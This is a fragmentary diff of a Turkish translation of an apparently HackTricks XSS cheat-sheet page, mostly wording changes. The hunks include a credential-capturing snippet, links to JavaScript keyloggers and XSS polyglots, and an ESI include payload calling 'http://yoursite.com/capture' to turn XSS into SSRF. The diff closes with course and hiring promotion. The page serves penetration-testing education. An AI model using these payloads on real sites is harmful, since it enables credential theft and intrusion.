Chrome'da yasaklanan limanların listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) inceleyin.
### Kimlik bilgilerini sormak için kutu
```markup
@ -1184,7 +1188,7 @@ body:username.value+':'+this.value
```
### Keylogger
GitHub'da arama yaparak birkaç farklı tane buldum:
Sadece github'da arama yaparak birkaç farklı tane buldum:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1226,7 +1230,7 @@ document.getElementById("message").src += "&"+e.data;
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
### Poliglotlar
### Çok Dilli Kodlar
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
@ -1274,7 +1278,7 @@ Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.c
```
### Regex - Gizli İçeriğe Erişim
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) belirli değerlerin JS'den kaybolmasına rağmen, bunların hala farklı nesnelerdeki JS özniteliklerinde bulunabileceği öğrenilebilir. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) belirtildiğine göre, bazı değerler JS'den kaybolmuş olsa bile, bu değerlerin farklı nesnelerdeki JS özniteliklerinde bulunması mümkündür. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1305,7 +1309,7 @@ Markdown kodu enjekte edebilir mi? Belki XSS alabilirsiniz! Kontrol edin:
### XSS'ten SSRF'e
**Önbellek kullanan bir site** üzerinde XSS mi buldunuz? Bu payload ile Edge Side Include Injection aracılığıyla **SSRF'ye yükseltmeyi deneyin:**
**Önbellek kullanan bir site** üzerinde XSS mi var? Bu payload ile Edge Side Include Injection aracılığıyla **SSRF'ye yükseltmeyi deneyin**:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1314,14 +1318,14 @@ Bu teknik hakkında daha fazla bilgi için buraya bakabilirsiniz: [**XSLT**](../
### Dinamik oluşturulan PDF içinde XSS
Bir web sayfası, kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, **PDF oluşturan botu kandırmaya** çalışabilir ve **keyfi JS kodunu yürütmesini sağlayabilirsiniz**.\
Bu nedenle, eğer **PDF oluşturan bot**, bir tür **HTML** **etiketi** bulursa, bunları **yorumlayacak** ve bu davranışı **kötüye kullanarak** bir **Sunucu XSS** oluşturabilirsiniz.
Bir web sayfası, kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, PDF oluşturan **botu kandırmayı** deneyebilir ve **keyfi JS kodunu yürütmesini sağlayabilirsiniz**.\
Bu nedenle, eğer **PDF oluşturan bot**, bir tür **HTML** **etiketi** bulursa, onları **yorumlayacak** ve bu davranışı **kötüye kullanarak** bir **Sunucu XSS** oluşturabilirsiniz.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
Eğer HTML etiketleri enjekte edemiyorsanız, **PDF verilerini enjekte etmeyi** denemek faydalı olabilir:
Eğer HTML etiketleri enjekte edemiyorsanız, **PDF verilerini enjekte etmeye** değer olabilir:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
@ -1401,9 +1405,9 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -1411,12 +1415,12 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>